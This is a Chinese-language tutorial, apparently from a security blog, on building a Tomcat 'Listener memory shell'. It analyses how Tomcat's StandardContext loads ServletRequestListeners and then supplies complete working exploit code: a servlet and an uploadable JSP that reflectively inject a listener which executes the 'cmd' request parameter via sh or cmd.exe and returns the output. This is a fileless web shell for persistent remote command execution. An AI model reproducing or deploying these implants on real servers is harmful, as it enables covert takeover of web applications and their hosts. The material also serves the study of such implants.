0x01 关于Listener监听器
从上面的图片以及之前介绍servlet处理逻辑的时候可以知道，当我们发送请求的时候的顺序是Listener->Filter->Servlet，Listener是最先被加载的
在 Java Web 中，**Listener（监听器）**是一类用于监听和响应 Web 应用中发生的特定事件 的组件。它是一种 事件驱动机制，可以让开发者在事件发生时自动执行一些逻辑，而无需手动调用。
在tomcat中，常见的Listener有以下几种：
- ServletContextListener ：用来监听整个
Web应用程序的启动和关闭事件，需要实现contextInitialized和contextDestroyed这两个方法 - HttpSessionListener：用来监听
HTTP会话的创建和销毁事件，需要实现sessionCreated和sessionDestroyed这两个方法 - ServletRequestListener：用来监听
HTTP请求的创建和销毁事件，需要实现requestInitialized和requestDestroyed这两个方法 - HttpSessionAttributeListener：监听
HTTP会话属性的添加、删除和替换事件，需要实现attributeAdded、attributeRemoved和attributeReplaced这三个方法。
从上面不难看出，使用ServletRequestListener是最适合用来做内存马的了，因为只要发送了http请求他都会触发监听
0x02 实现Listener的Demo
我们先看看ServletRequestListener接口需要实现的方法
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package javax.servlet;
import java.util.EventListener;
public interface ServletRequestListener extends EventListener {
default void requestDestroyed(ServletRequestEvent sre) {
}
default void requestInitialized(ServletRequestEvent sre) {
}
}
**requestInitialized：**在request对象创建时触发
**requestDestroyed：**在request对象销毁时触发
这个接口继承了EventListener
然后写个demo
package org.example;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class TestListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("initial TestListener");
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("destroyed TestListener");
}
}
然后在web.xml中添加监听器
<listener>
<listener-class>org.example.TestListener</listener-class>
</listener>
然后我们运行起来看看呢
当我们访问对应路径的时候，会在控制台打印对应的消息
然后我们来分析一下Listener运行的流程
0x03 从代码层面分析Listener运行的整体流程
分别在class和requestInitialized函数上分别打上断点
在函数调用栈中看到一个listenerStart函数，跟进看一下
public boolean listenerStart() {
if (log.isTraceEnabled()) {
log.trace("Configuring application event listeners");
}
// Instantiate the required listeners
String[] listeners = findApplicationListeners();
Object[] results = new Object[listeners.length];
boolean ok = true;
for (int i = 0; i < results.length; i++) {
if (getLogger().isTraceEnabled()) {
getLogger().trace(" Configuring event listener class '" + listeners[i] + "'");
}
try {
String listener = listeners[i];
results[i] = getInstanceManager().newInstance(listener);
} catch (Throwable t) {
Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(throwable);
getLogger().error(sm.getString("standardContext.applicationListener", listeners[i]), throwable);
ok = false;
}
}
if (!ok) {
getLogger().error(sm.getString("standardContext.applicationSkipped"));
return false;
}
// Sort listeners in two arrays
List<Object> eventListeners = new ArrayList<>();
List<Object> lifecycleListeners = new ArrayList<>();
for (Object result : results) {
if ((result instanceof ServletContextAttributeListener) ||
(result instanceof ServletRequestAttributeListener) || (result instanceof ServletRequestListener) ||
(result instanceof HttpSessionIdListener) || (result instanceof HttpSessionAttributeListener)) {
eventListeners.add(result);
}
if ((result instanceof ServletContextListener) || (result instanceof HttpSessionListener)) {
lifecycleListeners.add(result);
}
}
// Listener instances may have been added directly to this Context by
// ServletContextInitializers and other code via the pluggability APIs.
// Put them these listeners after the ones defined in web.xml and/or
// annotations then overwrite the list of instances with the new, full
// list.
eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));
setApplicationEventListeners(eventListeners.toArray());
for (Object lifecycleListener : getApplicationLifecycleListeners()) {
lifecycleListeners.add(lifecycleListener);
if (lifecycleListener instanceof ServletContextListener) {
noPluggabilityListeners.add(lifecycleListener);
}
}
setApplicationLifecycleListeners(lifecycleListeners.toArray());
// Send application start events
if (getLogger().isTraceEnabled()) {
getLogger().trace("Sending application start events");
}
// Ensure context is not null
getServletContext();
context.setNewServletContextListenerAllowed(false);
Object[] instances = getApplicationLifecycleListeners();
if (instances == null || instances.length == 0) {
return ok;
}
ServletContextEvent event = new ServletContextEvent(getServletContext());
ServletContextEvent tldEvent = null;
if (!noPluggabilityListeners.isEmpty()) {
noPluggabilityServletContext = new NoPluggabilityServletContext(getServletContext());
tldEvent = new ServletContextEvent(noPluggabilityServletContext);
}
for (Object instance : instances) {
if (!(instance instanceof ServletContextListener)) {
continue;
}
ServletContextListener listener = (ServletContextListener) instance;
try {
fireContainerEvent("beforeContextInitialized", listener);
if (noPluggabilityListeners.contains(listener)) {
listener.contextInitialized(tldEvent);
} else {
listener.contextInitialized(event);
}
fireContainerEvent("afterContextInitialized", listener);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
fireContainerEvent("afterContextInitialized", listener);
getLogger().error(sm.getString("standardContext.listenerStart", instance.getClass().getName()), t);
ok = false;
}
}
return ok;
}
可以看到listener是来源于listeners，然后这个listeners是通过调用findApplicationListeners函数来的，随后用newInstance去实例化监听器
这里可以看出是在实例化我们刚刚写的TestListener，接下来会遍历得到的results中的listener，根据不同类型放入不同的数组中
// Sort listeners in two arrays
List<Object> eventListeners = new ArrayList<>();
List<Object> lifecycleListeners = new ArrayList<>();
for (Object result : results) {
if ((result instanceof ServletContextAttributeListener) ||
(result instanceof ServletRequestAttributeListener) || (result instanceof ServletRequestListener) ||
(result instanceof HttpSessionIdListener) || (result instanceof HttpSessionAttributeListener)) {
eventListeners.add(result);
}
if ((result instanceof ServletContextListener) || (result instanceof HttpSessionListener)) {
lifecycleListeners.add(result);
}
}
这里的话可以看到我们的ServletRequestListener是放入eventListeners的
继续往下看
eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));
setApplicationEventListeners(eventListeners.toArray());
调用getApplicationEventListeners()方法去返回当前注册的监听器applicationEventListenersList中的值，然后将数组转化成列表并将内容添加到eventListeners中，我们跟进getApplicationEventListeners看看
@Override
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
很简单，就是将applicationEventListenersList转化成数组，但是调试之后发现这里是空的
在 Tomcat 或类似 Java Web 容器 中，applicationEventListenersList通常是一个 List，用来存放 当前 Web 应用注册的所有事件监听器对象实例。
从这里其实可以看出，tomcat中的listener主要有两个来源，一个是来源于web.xml或者注解@WebListener实例化得到的listener，一个就是从applicationEventListenersList中实例化listener，那我们只要在applicationEventListenersList中添加listener就可以实现动态注册listener监听器了
然后我们来到第二个断点
在函数调用栈中看到一个fireRequestInitEvent函数
在fireRequestInitEvent()函数中可以看到这里先是用getApplicationEventListeners函数去获取监听器实例对象instances，随后遍历instances并调用每个监听器对象的requestInitialized方法。
0x04 Listener内存马实现
从上面的分析我们可以知道，只要能获取到applicationEventListenersList并在applicationEventListenersList中添加listener就可以实现动态注册了，那是否有像之前一样的add函数呢？当然有啦
在org.apache.catalina.core.StandardContext类中的addApplicationEventListener方法
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
这里教大家怎么找啊，我们直接定位到那个变量applicationEventListenersList，然后在所有位置查找用法
然后就可以看到这个变量被用到的地方了
所以我们的Listener内存马实现步骤:
- 继承并编写一个恶意Listener
- 获取StandardContext
- 调用
StandardContext.addApplicationEventListener()添加恶意Listener
最终的EXP
package com.example.Listener_Memshell;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/ListenerPOC")
public class ListenerPOC extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try{
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try{
RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(requestFacade);
Response response = req.getResponse();
String cmd = req.getParameter("cmd");
if (cmd != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmdArray = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; //根据操作系统选择shell
//执行命令并获取命令输出
InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a"); //使用 Scanner 读取 InputStream 的内容
String output = s.hasNext() ? s.next() : ""; //如果有内容就读取，否则为空字符串
PrintWriter out = response.getWriter(); //获取 Servlet 输出流，用于返回给客户端（浏览器）
out.println(output); //打印输出
out.flush();
out.close();
}
} catch (IOException e) {
throw new RuntimeException(e);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
};
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
standardContext.addApplicationEventListener(listener);
response.getWriter().write("Inject Success");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
}
访问servlet后注入成功，随后传入cmd命令就行了
文件上传的jsp内存马
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class listenershell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
boolean islinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
islinux = false;
}
String[] cmdArray = islinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};//根据操作系统选择不同的shell
//执行命令并获取输出
try{
InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a"); //使用 Scanner 读取 InputStream 的内容
String output = s.hasNext() ? s.next() : ""; //如果有内容就读取，否则为空字符串
Field rep = req.getClass().getDeclaredField("request"); //获取 Servlet 输出流，用于返回给客户端（浏览器）
rep.setAccessible(true);
Request request = (Request) rep.get(req);
request.getResponse().getWriter().write(output);
} catch (IOException e){
} catch (NoSuchFieldException e){
} catch (IllegalAccessException e){}
}
}
}
%>
<%
//反射获取StandardContext
// ServletContext servletContext = request.getServletContext();
// Field appctx = servletContext.getClass().getDeclaredField("context");
// appctx.setAccessible(true);
// ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
// Field stdctx = applicationContext.getClass().getDeclaredField("context");
// stdctx.setAccessible(true);
// StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 更简单的方法 获取StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
listenershell listenershell = new listenershell();
standardContext.addApplicationEventListener(listenershell);
out.println("inject success");
%>
访问listenershell.jsp之后随便发送一个请求并传入cmd参数执行命令就可以了
这个内存马的话操作不多，就一个addApplicationEventListener添加listener对象，就不再赘述了
参考文章：
https://xz.aliyun.com/news/13078